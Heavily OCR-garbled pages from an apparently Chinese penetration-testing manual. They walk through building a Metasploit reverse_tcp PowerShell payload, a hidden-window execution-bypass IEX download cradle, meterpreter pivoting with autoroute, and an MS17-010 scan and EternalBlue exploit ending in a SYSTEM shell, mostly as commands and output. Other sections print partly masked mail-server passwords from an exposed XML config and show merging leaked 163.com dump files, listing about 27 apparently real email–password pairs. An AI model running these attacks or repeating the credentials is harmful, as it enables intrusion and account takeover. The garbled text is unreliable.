host => 192.168.10.109

st exploit( ) >|set lport 12345

port => 12345

st exploit( ) > show options

Module options (exploit/multi/hapdler):

Name Current Setting Required Description

Payload options (windows/x§4/meterpreter/reverse tcp):

NETS Current Set#ing Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.109 yes The listen address
LPORT 12345 yes The listen port

xploit target:
Id Name

0 Wildcard Target

sf exploit( ) >|exploit

[*] Started reverse TCP handler on 192.168.10.109:12345
[*] Starting the payload handler...

3.f# [l powershell ps1 3XH{—4> meterpreter
(1) “EH% powershell ps1 J 5 % fnf

M IRATEZ 3R T HAREML windows ¥HIRR, B FRIBAITEHMERH MSF
AR psl 3 shell;

msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.100.109 lport=12345 -f psh-reflection>/tmp/search.psl

root@kali: ~

File Edit View™S§earch Terminal Help
:~# msfvenom -p windows/x64/meterpreter/reverse tcp 1lhost=192.168.160.109 lport=12345 -f psh-reflection>/tmp/search.psl

No platform was selected| choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selectlng Arch: x64 from the payload

No encoder or badchars s{fecified, outputting raw payload

Payload size: 510 bytes

Final size of psh-reflection file: 2941 bytes

ch. fofelsq a lord.service- tracker-extract-files.0 vmware-root
fofelsq a7adlc kit-daemon 5

(2) b4 [ shell ) H bxEML

TEA R shell Ja, AT B4 AL search. ps1 B #ifm 2] H AR EHL o
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537 ¢ B B 55 28

(3) fih’% powershell J<## shell

FIH AL search. ps1 Xili payload, ££ H s FHL EAE R —> powershell Zih
P, AR E R T Al % powershell psl R, i#i—A> shell 221
F| MSF *F&. HXK poershell psl PEETTRBIERIW T Prox CRARTEARE 1K
el s WET: 2.1.3) .

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('C:\Users\Myles\Desktop\shell.psl');test.
ps1"
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MR AR RES T?

EASECETEMERR. Wik T TEE Internet HBHHITEEAT.

ERATTEAIE(T):
powershell -windowstyle hidden -exec bypass -c "[EX (New-Object N FIES(R)...

iﬁ?ﬁ%ﬁl//’

15" powershell ftRE"#EMETEX L E! ! !

[ F—=mny | [ =i |

v BHEE W LmpnEa) B e @y 0 R RIALE” BT, HEK
T BERAER, 15VE & serach. psl PRI B, ANEFEEL,

2.3.5 R MM EAE B

16 MSF “F & W Wrum, FRATIREU 38 shell J5 (Bf session) , F&A10] UL E BAE
meterpreter | & T H AR MBS B A, BEAERHGSWT,

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
['] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 10.48.8.0/255.255.255.0

Local subnet: 169.254.0.0/255.255.0.0

meterpreter >

#0024 /3L 61 T EJ7MEG: http://www. antian365.com  HERH®A: fH 28 H HTF44E: KR




(2K 365 ALY — B RTABAT AL QQ #f: 513833068
kBT antian365-20170728 %K 365 fii fisCiii & &: http://www.jianshu.com/c/ad835367h9e3

r scripts are deprecated. Try post/multi/manage/autoroute.
[!'] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 10.48.8.6/255.255.255.0
Local subnet: 169.254.0.0/255.255.0.0

TN AR ES AW, AT LAFRR N R Bk A 10. 48. 8.0/24

2.3.6 0 B 45 WX BLBE H

FRATTLE S0 B AR X B B& A 10. 48. 8. 0/24 J5, B RREZERINEE RN
IR B (10.48.8.0/24) HIEEAHBH, W B BA&mSHATIT .

meterpreter > run autoroute -s 10.48.8.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

[*] Adding a route to 10.48.8.0/255.255.255.0...

[+] Added route to 10.48.8.0/255.255.255.0 via 10.48.8.234

[*] Use the -p option to list all active routes

meterpreter >

r

root@kali: ~

2 ated. Try post/multi/manage/autoroute.
: run po wlti/manage/autoroute OPTION=value [...]
run autorgute [-r] -s subnet -n netmask

-s110.1.1.8 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.8
-5110.10.10. # Netmask defaults B 2 SO
s§16.10.10.1/24 # CIDR notation is S0
# Print active routing table
+s 10.10.10.1 # Deletes the 10.10.10.1/255
and| "ipconfig” Meterp commands to 'n about availab
placed by the post/multi/manage/autoroute module
= run autoroute -s 10.48.8.0/24
- scripts are dep ated. Try post/multi/manage/autoroute.
nuliti/manage/autoroute OPTION=value [...]
10.48.8.08/255.255.255.0. ..
1 0/255.255.255.0 via 10.48.8.234
-p option to 1§t all active routes

= run autoroute -p

er scripts are deprecated. Try post/multi/manage/autoroute.
run post/multi/manage/autoroute OPTION=value [...]

Subnet

10.48.8.0 255.255.255.4

meterpreter >

pat:
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&

2.3.7 A EHBE

AT PRE AL P WA % ER T3 5 » 5B Rt Al EAE R MSF 1 65 B0 N X 24 L9 3
ANEAT % T G IR R BB A 1.

1.B3))5 4

BB EHR B MSF Bl 7 6 (R, O J i o FH et ot e i v 45
HARBRAEIR .

meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i

Active sessions

Id Type Information Connection

2 meterpreter  x64/windows admin-PC\admin @  ADMIN-PC
192.168.10.109:12345 -> 10.48.8.234:53462 (10.48.8.234)

meterpreter >

meterpreter > background

[*] Backgrounding | session 2..|.

msf exploit( ) > sessions -1

Active sessions

Information Connection

meterpreter x64/windows admin-PC\admin @ ADMIN-PC 192.168.10.109:12345 -> 10.48.8.234:53462 (10.48.8.234)

2 A LRI

W H AL, FATTAT LEEAE A MSF T A3 Btk AT BRI 534, X E
PATE AL B iAT B “RIE 8 IR 33 R gt AT D0 2% L VI 91 4

use auxiliary/scanner/smb/smb_msl1l7_010
show options

set rhosts 10.48.8.0/24

set threads 50

run
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sf exploit( lue) >[use auxiliary/scanner/smb/smb _ms17 010
sf auxiliary( ) > show optioms

Module options (auxiliary/scanner/smb/smb msl17 010):

Name Current Setting Required Desciription

RHOSTS target address range or CIDR identifier
RPORT yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS yes The number of concurrent threads

sf auxiliary( ) > set rjiosts 10.48.8.0/24
rhosts => 10.48.8.0/24

sf auxiliary( ) > setf threads 50

hreads => 50

sf auxiliary( ) > pun

Scanned of hosts/(19% complete)

Scanned of hostd’ (33% complete)

Scanned of hosffs (39% complete)

Scanned of hof'ts (54% complete)

Scanned of hiists (55% complete)

Scanned of losts (69% complete)

Scanned of hosts (71% complete)

10.48.8.234:445 - An_SMB login Error occurred while connecting to the TPC$ tree.

10.48.8. 1445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Ultimate 7601 Service Pack 1)
T Scanned 216 of 256 hosts (84% complete)

Scanned of 256 hosts (90% complete)

Scanned of 256 hosts (100% complete)

Auxiliary module execution completed

auxiliary(

BT EHRITAER, BRATRI 10. 48. 8. 236 EHLAFLE— MS17-010 JETH .
3. WA A
I H AR EHLIRA TR ORI A XA & ENAEAE MS17-010 JwiF (10. 48. 8. 236) ,

FATHUAE B3 A A MSF P 5 I8 “ KB 5”7 IRl 3T, #hAT Btk
FHEHIBIR, BIEERENT.

msf exploit(handler) > use exploit/windows/smb/msl17_010 eternalblue
msf exploit(msl7_010_ eternalblue) > set rhost 10.48.8.236

rhost => 10.48.8.236

msf exploit(msl7_010 eternalblue) > exploit
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exploit( )"®ruse exploit/windows/smb/ms17 016 eternalblue
exploit( ) > show options

Module options (exploit/windows/smb/ms17 010 eternalblue):

Name Current Settiing Required Description

GtoomAlIocatlons Initial number of times to groom the kernel pool.
GroomDelta yes The amount to increase the groom count by per try.
MaxExploitAttempts yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.

RHOST yes The target address

RPORT 445 yes The target port (TCP)

SMBDomain A no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch Check if remote architecture matches exploit Target.
VerifyTarget r Check if remote 0S matches exploit Target.

Exploit target:
Id Name

(¢] Wlndows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit( ) >/ set rhost 10.48.8.236
rhost => 10.48.8.236
msf exploit( ) >|exploit

Started reverse TCP handler on 192.168.10.109:4444
10.48.8.236:445 - Connecting to target for exploitation.

exploit(

) >
exploit( )=
exploit( )| >

exploit

Started reverse TCP handler on 192.168.10.109:4444
.236:445 - Connecting to target for exploitation.
.236:445 Connection established for exploitation.
.236:445 Target 0S selected valid for 0S indicated by SMB reply
.236:445 CORE raw buffer dump (38 bytes)
236:445 0x00000000 57/ 69 6e 64 6f 77 73 20 37 20 55 6¢c 74 69 6d 61 Windows 7 Ultima
.236:445 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
.236:445 0x00000020 50 61 63 6b 20 31 Pack 1
.236:445 - Target arch Selected valid for arch indicated by DCE/RPC reply
.236:445 - Trying explgit with 12 Groom Allocations
.236:445 - Sending alV but last fragment of exploit packet
.236:445 Starting nbn-paged pool grooming
.236:445 - Sending SpBv2 buffers
.236:445 Closing §MBv1l connection creating free hole adjacent to SMBv2 buffer.
.236:445 Sending jffinal SMBv2 buffers.
.236:445 Sendingjlast fragment of exploit packet!
.236:445 - Receiving response from exploit packet
.236:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)
236:445 - Sendifig egg to corrupted connection.
.8.236:445 - Triggdering free of corrupted buffer
Command shell session /5 opened (192.168.10.109:4444 -> 10.48.8.236:49238) at 2017-07-18 05:03:55 -0400
10.48.8.236:445 -
10.48.8.236:445 - =
10.48.8.236:445 - =

00 00 00 00 ©O 0 00 0 00 0 00 ©0 00 00 O 0 O o

Microsoft Windows [®i% [6.1.7601]
YOEBBOE (c) 2009 Micrghoft Corporation@@66666060EG06E

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>]]

H I BATE H ”MSF HIBRFLBE R ", ELIRAEFH AR MSF 1 & S BUxT A AL
A ENIBABORE A, U T35, AR F ARSI, BERREA
N3, 9?/1\%9&

B UERNBESOS N NP, 621 ARG

L Epe

http://www. metasploit. cn/thread-1644-1-1. html

pat:
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http://www. 91ri. org/9560. html

2.4XML 18 Bt BIRIFTZ 58 X F

simeon
XML T80 B FRiC1E 5 (Extensible Markup Language), B & —MridiE s, ©#ikit
K B RiR R (XML, AR REYE (HTML . HRTGEERZ w3c 4H43T 2000 4F
RATM] XMLL.0 FLE, 322 H 2 H SRR Hds A B B SO

2.4.1XML 15 Bt B s A

XML 15 St 55 I 2 4 i URL sdik ELEEVT 1) XML S0, 3% XML SO 3 — S RURME 5,
A5 2t ] s P BB P P 4 RV By, SRR 5 AT 5 DA e — 2815 5. 7E Asp.net DL Jsp FF
RI-E N W R XML FIEE DL SENT, ATLASECE (RAMEEE XML @) Curl
Huhik: http://blog.csdn.net/sdksdk0/article/details/50749326 )

2.4.2 B XML £ Bt EIRRE

XML {5 5t 3 R A 4248 2 A DL R LA B
1 ARG PR

I AT RO RIS R AR TE R xml SCEE, R IEFT FFAZAER xml SCHF, AR IX L xml
A RURE R, XA DT R R A
2. H A5 Bt R

TEAR Z2 W3k FH T2 A E BAN 2, AT LBV 1) B S 3R xml it B SCpF 80 S g

==

3.3 4
M 78 ISR AR, AN s B B — 28 x| 0 B SO A2 R BRI AR P e, AT R
SiiEuNE B I S WL R RETHE N

2.4.3XML 15 Bt 58 R T ) — 4 24

A EARAN R GRS 50 JoIl a2 .

AR RIS 2 Il I P S

B IR FRE https://*** ****enair.com/config/SinMailBaseConfig.xml, E.f1) [n] B
A $RHL SinMailBaseConfig.xml U N 2

<SinMailBaseConfig>

<clientld>11</clientld>

<userld>25</userld>

<password>mf******< /password>

<subject/>

<fromName>***fjji 7¥</fromName>

<fromAddress>***@******3ir.com.cn</fromAddress>
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<replyName>***fjji 25 </replyName>

<replyAddress>***@******3jr.com.cn</replyAddress>

<toAddress/>

<htmlContent/>

<resendEmlIHandleStyle>1</resendEmIHandleStyle>

<connectTimeout>30000</connectTimeout>

<smtpTimeout>50000</smtpTimeout>

<messageType>1</messageType>

<returnAhead>true</returnAhead>

<trackUrl>true</trackUrl>

<trackHtmlOpen>true</trackHtmlOpen>

</SinMailBaseConfig>

FEVL BT L T A s b AR AR S 6D A S R, U 1) s RCR WA 1 s
& > C|a %k | nws: _.cc{":m- = o ]

This XML file does not appear to have any style information associated with i

M<SinMailBaseConfig>

K ronu“.dd.res;ﬁ-t-'f

Kreplyllame>|

Kmeszagelype> 1</ m e Type>
Kretumdhead>trued/ retumihead>
Ktracklrl>t med/tracklrl>

K/ SinMailBaseConfig)

Kl 1 BoRECE S R
2B FREL EmailSetting.xml it B S04 A 2
WK 2 FT7R, 78 https:/ /s, soloiokoiolk, com/config/EmailSetting. xml Hfc & 4 352 s
FSFR. B, stmp Huhik DL R 1% B K.

< c & %% | hrips://NEEEM:n:ir. cor (el

This XML file does not appear to have any style information associated

v hnaill iok
v <Email id="">
<name>kh;j 1NN r. com{/nane>

<pwdStr kel /pwdSt x>
{smtp>smtp. SE—_. com. cn</smtp>
<sender > IIMNES </sender>

v <Email id="nico">
<from>dyp @A . con</fron>
<name>dyp </ name >
<pwdStr >s didRd@@5 < /pwdSt r>
<{amtpimail. <ENEEEEEYr. com</smtp>
<sender >X Pemewt.ir </ sender>
Tt
v<Email id="test">
<from>dyp@ et . con</fron>
<name >¥ i gy </ name >
<pwdStr >s NS 5</pwdSt r>
<amtprsmtp. xizmenair. com{/smtp>
<sender >¥ SENMRir </ sender>
</Email>
<{/Emaillist>

] 2 SR ECHE AR i B S 2 A bk
3R AR
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A5 FH b TSR B A B 46 44 AR F SR MR R G- T B, B0 mail *****%* com B
webmail, ******* com HATEE, WK 3 frx, ISR RS .

(3 C | @& %% | hetps://moSSNSSEESER . con corenail K]S sp?sid=BASbqJ1dE]o J BZyaB

BEEENEGRER

BAEEEANEONER

E4FR(E/Mail Delivery Failed
ZRIBIZ/Mail Delivery Failed
FHRiB(E/Mail Del Failed
RGRIE/Mail Del Failed
FRiB(E/Mail Del Failed

RE: Activate your account

E4FR(E/Mail Delivery Failed
F4R(Z/ Mail Delivery Failed
E4FR(E/Mail Delivery Failed
F4B(Z/ Mail Delivery Failed
F4FuR(E/Mail Delivery Failed
F4RB(Z/ Mail Delivery Failed

FRiB(E/Mail Del
B9 welch william Automatic reply: unt
postmaster RFIRIE/ Mail Del

- postmaster FGiB(=/Mail Delivery Failed
postmaster E4RIR(S/Mail Delivery Failed
e ]

K 3% HH

4. Ja SEA S

(1) HIFH G EH WA L cms REEFEHURE .

(2) Bl ER MBS, WA R I N ERAE A AV B 55 25 5, W]
PAER R ER T AT B I AR .

(3) FIHCHEHZRE R cms RGLER

(4) BEBIP L7 AT

2.5 AR R

antian365 by 2 [

AR R BAET FAVE A AR b I R#E . Windows R 4t8 H A I R D) RER &R
RS, MRMREBRAR. BRI ER TRIRE, W1 “everything AHh S
R . ARFPNE LRI LTEEEEMRRI, AR, S EERREA
k. ETHBMEHERES, & RN — 3Rk S B B AR 28 —— k2 “360 =
[T o A RMER, FHAA— XX TR

2.5.1 FT L

PATE R B R IFIXR TR, fE 360 L4 PEMThae K Biln kele, Wi 1
P sl THEbR S BT M E0f 23,
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oy EnEE N1 4

B f e
= 2 TA T+, FREwFE? | aluSEEmwssy | R TH,
= aize | TATE
@) M SEEF 3605 HE
DARMER TR . FEraBER+5, 2
RiETE
=) it m 3603 18] B CRMBR
FIFFEE. EEHRA HERGEEEY
9, RFTE
K1 SRR A N
2.5.2 THEAH

TRZAEE A, BIAAE i s i R — a1, i 2. XA DO s
(1, 7 ESRATTREI 0 A SR AT A R

360 HEF

23317

045 08H =23: 5 7A

K2 st

2.5.3 XHHEE

FLTE 2 BRI AR R 7 a4, (EITIT 7SO ERAE, i 3 Pk . RSB
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&

R X

NG b TR N

K3 SR

2.5.4 WRIRRIE

REFF SCRF AR BOCAF IR R, R B A 3R SCAHE P g A BRAT AR A 2R ) e o - B
o X HARR T AL AR “ LR 3657 MO, —ILHRE] 143 30, HRERINE
4o HEAFAEFR—— R, BRI

S *
52X365

BFR B&fE HHA Foh
Source Tools - 2., E:\link 2016-01-08 23:18 321 ¥B
ERZEMEFD. .. E\link 2018-01-01 09:53 405 KB
jsp—FEE Pifira .. E'\link 2016-01-03 16:31 184 KB
FE I flazbd2FF. . E:Mlink 2016-01-03 14:41 380 KB
ElasticSearch Gro... E:'link 2015-12-21 14:42 256 1B
Remote Contrel - ... E:\link 2016-01-07 18:28 341 1B
FFIEFATEEM. .. E:Mlink 2015-12-31 17:49 199 KB
D) TR ANES. . PR 2014-04-15 10:17

g BUNREER (K. . FAFIEEEEE Favorites 2013-01-28 18:22 1 KB
| #F - F=Raes—-. . FAPHEEEE R Favorites 2013-01-27 21:58 1 kB
E:a ket

4 MRERER
TR R BRI SURIATAT LB AT IT o R SO AT H e 4 A W] S e A B SR B 52 o

2.5.5 T RS

ARTEMN S RGRBEER, R NTFS MR 5 XEETR R, A RExt
FAT32. exFAT I4r X R . WIARARLEHG A B 7y X7 R &R, IR R NTFS ()4 X 5%
PN NTFS 53 [X o SCfE RGEAL 40 v] I8 i 2 $ R B 52 il

FEA N NTFS U R G4

convert d:/fs:ntfs

Db 22 d d BRSO RG BN ntfs, WNFRFHIEHX, R hia
FFEONXS AL FTRI AT o SCPF R GE 8100 NTFS I, (S RE L st TR RGEE R A SR AT R T
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&

2.6 ane] PREE 5% B 6 R i
Antian365 by & [&

2610

HTBUR TR) K2 8" BRI R A RK. AR TRMEER 1 NSA BRI AT “K
TR 2 W ” SRy 508 AR T i JUm ] T 28 By o oIl A A I H I A7 LIRS IR 220 7T
W AR B IRGe 28 h B NS . BRI FIF C2eid i — Bt [al 17, (EIE —Beint (8] 302
iy O B A R A o o RO R AR AR B O EEHEAT AR K, WA E T s R B
Co JTLICREOGE 248 By 1k F i P B 1 5 S SO B T .

2.6.2 4 0 5 RS HIR R

IR 55 AR R PR BURr € ThRER — ALRE . IR ESRE P v] DLAE A s AE S R 48 9 - 4
P28z g%, Bl web iRS5. SCHFARSS . Bl FEARSS, TEILIRSS 55

— A EHER R A 1P fuhl, (HAZTERMIETF . ELIAAE BT AT
WAE, AT MR P AT IE g S, AR SN REIR P X 0 BT 1 IX P2 4
AR o THEHL AT 43 B s Y8 LA 165535, — AR S% 38 17 1L T BRI R — AN
I —NRAFEHE O T RAFAEZ DRSS, Bl — AT e S 2T o 5 E 55 1)
gt S BRE EE K, 40 web JIRSS BOBR A 12 80 % o 428 Al ME IR S5 B BRI i 1
T, WORHIZREERE AR S5 BN 3389 din B DA 47554 b 1, IXFEl BE LI — LU ANPREF R
N S 1938 0 AR o 170 S R BRAT PRI AN S 1 5 P, gl R PELLE SB35 TR 36 B R AR 55 R
T 45 KRB L DL IR 25 2 At A ) o 1

2.6.3 B BALRIfE K O

ey R SR H R R L R AT B . LIRS TSI ™
RS (W1 23,139,3389 Ui 1) — M A R EN. (i —Lum 1, 40135,
139,445 IXFE I ANH I Fom D il Re s N AR, Th RAH FLalE. DUF 2R g H
A R A

135 3 1 A e A e A R AR A DcoM (O3 A3 AR IR SSo 3X i
FRAEAIIRSS S AT LRI TH RN AR RAT R 1 F6 4

139 F1 445 %i[1: Windows EML ESCHATEL. SO ERIEE SMB R4 R S2HL, 1
SMB JE I R 5 SUBATHE 139 A1 445 i 22 . 139 5 P E, E3RIR SGUK 5 305 ()45 I
W, B PAI AR S LA AT T RIMTSS o TTEAEAR S5 AR, AST5 K S S35 i AP AT
fa4 o AT LAY R — MR AR 1 1, WA SCHAIT BN IE A R 2, el 4iax Ao
25 R P T RIME 139 3 24 0CH, tHnl UL 445 % 13517 SMB RS . 13X X SMB filk
LTI, BTCARIF 445 s DR DT ORI A SMB R X FERINEIR AN %24 1, Frbh
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UK 445 I LB IS

7K AE 2 T IX PR RS B Th A A windows 1] SMB k%% (445 1) iR, 1M/EHEA
TEE . T AUD SR RE O P 2 g BEREE A B G B KU o BT DA 135, 139, 445 X i [
R GOR B IGE I O, Sl — IR R TRy, W ECEA TIRZ LA
&, ERRZDIREB, AR R RRRT. anS GeR F B AL T B ¢ Pl O i kX 1%
B NTIES SN

2.6.4 I< [ G B v

windows worms doors cleaner & FH U ot 4T X i B8 53 10 1 A 1 — 2k AL B 4
R, e g5 B B T DL S R DRSS, AT Ik 28 G J B ge 19 B 1. SRRl
HAE—MNsiriERy, HHAEw RS, RFENEERRIA ES). B ErAmaE 1 .

¥ ¥indows Worms Doors Cleaner 1.4.1

Warning : DCOM EFC ipert 135) iz EWAELED on your system. opern ports|A

g Disable DICOM | official Microzoft security bulletin UDF 4427
UDF 4402

_ _ DF 4401
Warning © EFC Locator (port 445) iz ENAELED on your system|ymp 1ang

official Microsoft security bulletin UIF 135
€ Close 445 | ¥ I 1o

WDF 123
Warning : WNetBIOS (ports 13T/138/139) iz ENABLED on ynuj] DF 2141 —
<4

€ Close 137;139| official Microsoft securty bullstin g; iggg

UDF 1270

UFNF (port S000) iz safely DISAELED on yowr system. UDF 123

UDF 4025

ﬂ Enable UFHE | official Microsoft zecurity bulletin UDF 3ESE

by gleveb UDF 3567
UDF 1233

email address Messenger (HetBIOS/RPC ports) is safely DISABLED on your = UDF 1093

website ﬂ Enable M=g | official Microsoft zecurity bulletin & | [ #

1 75t
F A ARSI, LRGN E, SRR oM . did
i H A A AT LLSHRE B8 3R 47 DG AN I3 o s e A I P 4 mT DU 7S 24 AT Bl © 28 4T FF (1) 3
I, A5 tep A1 udp ¥ .
Ui G G i E R AR, R 2 s,

[£

!.ihndulrs Yorms Doors Cleaner

-
1 } RFC LOCATOR (445) successfully dizabled, the modification will be enabled after a rebaot.

R

2 RGHEJAHR
RGHER T, S OS] T B R S O 28 AT DLARARN T o i 11 IRl 1E AT 0t ) i U
. K 3 R,
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B3 fali O K RS ©L2 0

F ISR fE R AR R SE B 1, FATAT LUEIE dos A& SR IES R H 2 AL Tk
PIRZS . M8 netstat —a mlt AT LAFE fir AT N4 RGEIT R 13 AT &

g H AT AT Bk P 7 SR E A I R G B k. (HERAEK &R
HIRAE RS BT EB, AN REK. BB TR R SR 4t T RGEMITT R, 8
RUEERARH Tl LPRGE, A8 T o 4TINS DL 3R AT REAT 2 M, 1 e ] B X IR AR AR 2
RUFIITE

2.7txt XA XMHEEREANBIEELE

simeon
TETAE R & 2R B 7 — 2 SCAREHE, T HERR, — il 16 BLE, 1E
Windows T, X T 1G KNPSO, @ik — R IME e Tk B AT U o 78 SEBR R
TR T B IR S SRS S AL, RIS TR bR AR A, e TAERCR.

2.7.1 XCAHERE sort A4

sort Ay A& 7E Linux BLAEH A, ©o¥ SO HET , TR HET 45 BArHER . sort f14
HE AT LAWK S I SC2E, AT DA stdin PR3N -

sort(ZE ) (S %))

-b:  ZBSERAT RUTH T 46 H I 2S48 215

o R SCPER TS O H IR T HE

-d: PR, AFERBECTEE, B TR TR, RS HA A

£ HFEE, KNS AR KRS B

-i: HEFEHS, BR T 040 & 176 2[RI ASCI 14k, S HAR 74 5

-m: B UANHET 5 ST A9

-M: KR 3 AN RHMKIE A 03 1045 5 47 HE 75

-n: ARIREUE IR/ INE T 5

o<t UM > K HET R 0 45 AT N 8 1S A

-re DUAH I R HE 7 5

<P BE TR T E HE R AT BT 20 B8 4 s

+<HEL AT >-< S5 RAEAT>: LAFR @ AR R HET Y0 B A an A2 07 1) 45 A AL R T — A2
B,

sort B SUA/ SUR IR —1TE N — AN, MIELRES, R E R A E /RS, Rk
ASCI REAEFEAT LU, S A A 14 dar i o e 7 SR A FH 7 VA b2 sort filename
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&

2.7.2uniq ZE M4

Linux uniq 74 F T 2 S INBR SCA SO B I RIAT 81, Hedn & 280N T

uniq [-cdu][-F<AEAL>] [-s< FRFAL B > [-w<FE /AL B >][--help][--version] [ A\ S i SO
-c B--count 7EREHIF5H1A B R ZAT EE BB EL

-d B¢--repeated G/~ EE HIAIITH].

f<t= A7 >B--skip-fields=<f= 7> 2% L4 2 AL

-s<T I B >B--skip-chars=< 7 B > 2B LR E 1745 -

-u B--unique &R H—REIATH).

W< B >B--check-chars=<FZ P B> 18T B L 5.

—-help E/RT#E B,

--version I RIAME S o

ST $8 € O i I SCA S

Uit SO 48 7€ i b S0 A

i (5] LA F A2 uniq filename, K filename ST HAH S B 52 ST N 2547 E 4, AT K3
L HIREH .

2.7.3 LA E B AL E LA

AL AT EE 1K 163 HEFEIK 5 X 0040 52G AT Ab 2 .
1.8F txt

VORI SO AT IR, Wl 1 B, nTLUVE BIFTA SCHE R oxt S, HXUHEBEE K,
— AR B AR E AN TTE

Wih0% (E) » data » 163com

HE~ T i

163com101.txt 163com133.txt 163com165.txt 163com197.txt 163com229.txt 163com261.txt 163com293.txt
163com102.txt 163com134.txt 163com166.txt 163com198.txt 163com230.txt 163com262.txt 163com294.txt
163com103.txt 163com135.txt 163com167.txt 163com199.txt 163com231.txt 163com263.txt 163com295.txt
163com104.txt 163com136.txt 163com168.txt 163com200.txt 163com232.txt 163com264.txt 163com296.txt
163com105.txt 163com137.txt 163com169.txt 163com201.txt 163com233.txt 163com265.txt 163com297.txt
163com106.txt 163com138.txt 163com170.txt 163com202.1xt 163com234.txt 163com266.txt 163com298.1xt
163com107.txt 163com139.txt 163com171.txt 163com203.1xt 163com235.txt 163com267.txt 163com299.txt
163com108.txt 163com140.txt 163com172.txt 163com204.txt 163com236.txt 163com268.txt 163com300.txt
163com109.txt 163com141.txt 163com173.txt 163com205.txt 163com237.txt 163com269.txt 163com301.txt
163com110.txt 163com142.txt 163com174.txt 163com206.txt 163com238.txt 163com270.txt 163com302.txt
163com111.txt 163com143.txt 163com175.txt 163com207.txt 163com239.txt 163com271.txt 163com303.txt
163com112.txt 163com144.txt 163com176.txt 163com208.txt 163com240.txt 163com272.txt 163com304.txt
163com113.txt 163com145.txt 163com177.txt 163com209.txt 163com241.txt 163com273.txt 163com305.txt
163com114.txt 163com146.txt 163com178.txt 163com210.txt 163com242.txt 163com274.txt 163com306.txt
163com115.txt 163com147.txt 163com179.txt 163com211.txt 163com243.txt 163com275.txt 163com307.txt
163com116.txt 163com148.txt 163com180.txt 163com212.1xt 163com244.1xt 163com276.txt 163com308.txt
163com117.txt 163com149.txt 163com181.txt 163com213.txt 163com245.txt 163com277.txt 163com309.txt
163com118.txt 163com150.txt 163com182.txt 163com214.txt 163com246.txt 163com278.txt 163com310.txt
163com119.txt 163com151.txt 163com183.txt 163com215.txt 163com247.txt 163com279.txt 163com311.txt
163com120.txt 163com152.txt 163com184.txt 163com216.txt 163com248.txt 163com280.txt 163com312.txt
163com121.txt 163com153.txt 163com185.txt 163com217.txt 163com249.txt 163com281.txt
163com122.txt 163com154.txt 163com186.txt 163com218.txt 163com250.txt 163com282.txt
163com123.txt 163com155.txt 163com187.txt 163com219.txt 163com251.txt 163com283.txt
163com124.txt 163com156.txt 163com188.txt 163com220.txt 163com252.txt 163com284.txt
163com125.txt 163com157.txt 163com189.txt 163com221.txt 163com253.txt 163com285.txt
163com126.txt 163com158.txt 163com190.txt 163com222.txt 163com254.1xt 163com286.txt
163com127.txt 163com159.txt 163com191.txt 163com223.txt 163com255.txt 163com287.txt
163com128.txt 163com160.txt 163com192.txt 163com224.txt 163com256.txt 163com288.txt
163com129.txt 163com161.txt 163com193.txt 163com225.txt 163com257.txt 163com289.txt
163com130.txt 163com162.txt 163com194.txt 163com226.txt 163com258.txt 163com290.txt
163com131L.txt 163com163.txt 163com195.txt 163com227.txt 163com259.txt 163com291.txt
163com132.txt 163com164.txt 163com196.txt 163com228.txt 163com260.txt 163com292.txt

1546 txt SCAF
2.3 S A SR A
BEHLATIT—A> txt SCOF, il 2 fos, 0 H SR AT oM, SOfFrb 2 SR s P 44
AERY, R AN, BN <7 N EIRT .
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(L1 data\163com\163com101. ot “Notepad - AN
HF) REE #BRE) WAV RBN) E\ESOL RET TEO) EM) ET(R)
cHEE LB sl M s |BEINECD
163con101. txt!:i]

1 ﬂaphae11985@163.com————198587
scmailh@163.com----scm5201h673
migyol@163.com----13779728010
ganh12005@163.com----85102000
wjingl7@163.com----wangjing
hoxxiel@163.com----123456
qinlei206@163.com----qinleil987
tj2248062@163.com----2225936

9 imisssiyoule@l63.com----imaluiwieo
10 yinglul00@163.com----5211251ulu
11 steven90823@163.com----phoned692546
12 zm58510860@163.com----5851086
13 sky2008rabbit@163.com----20080816zcr
14 1md198282Q@163.com----1md19820920
15 luojiangiang200@163.com----230271
16 glsfcsw@l63.com----glsfcsw02051715
17 summer3505182@163.com-—---summer
18 hackpipi@l63.com—---jfvtkdljy
19 sl1y7713@163.com----S1y13895480810
20 hualuowojial23@163.com----911325
21 gongyabo76@163.com----5912003
22 sgcnmei@l63.com----858690
23 jjb2tt@163.com----20060415
24 shuibuzaisheng@l63.com----18755602838
25 yuanfengl19900928@163.com----yuanfengl23
26 1744532800@163.com----adsl6630507
27 wangxushiwangxu@l163.com----158wang49236466

K2 SO A L 4%

WD U WN

EREPIE s

T linux B cat ARG I, 14N cat filed file2 file3 >all.txt, T LK Z,
RTINS, RTEERN T 47, W 3 PR, EABY, HTEH T 047 BRI
REPIT AE R W B o, b BN N —ATE ), S WTERATI 2 R4

[ erdatay ~Notepad++

XHHF) SEE BRG) WAV SBN) BHQ RKEM TRO) BM) EGTR) BEHE) @OW) ?

EE b S MBI a% tEBREY FREA IR

BEERETE & 2. m:l]
cat 163coml01.txt 163coml02.txt 163coml03.txt 163coml04.txt 163coml05. txt 163coml06.txt 163coml07.txt 163coml08.txt
163coml09.txt 163comll0.txt 163comlll.txt 163comll2.txt 163comll3.txt 163comlld.txt 163comll5.txt 163comllé.txt
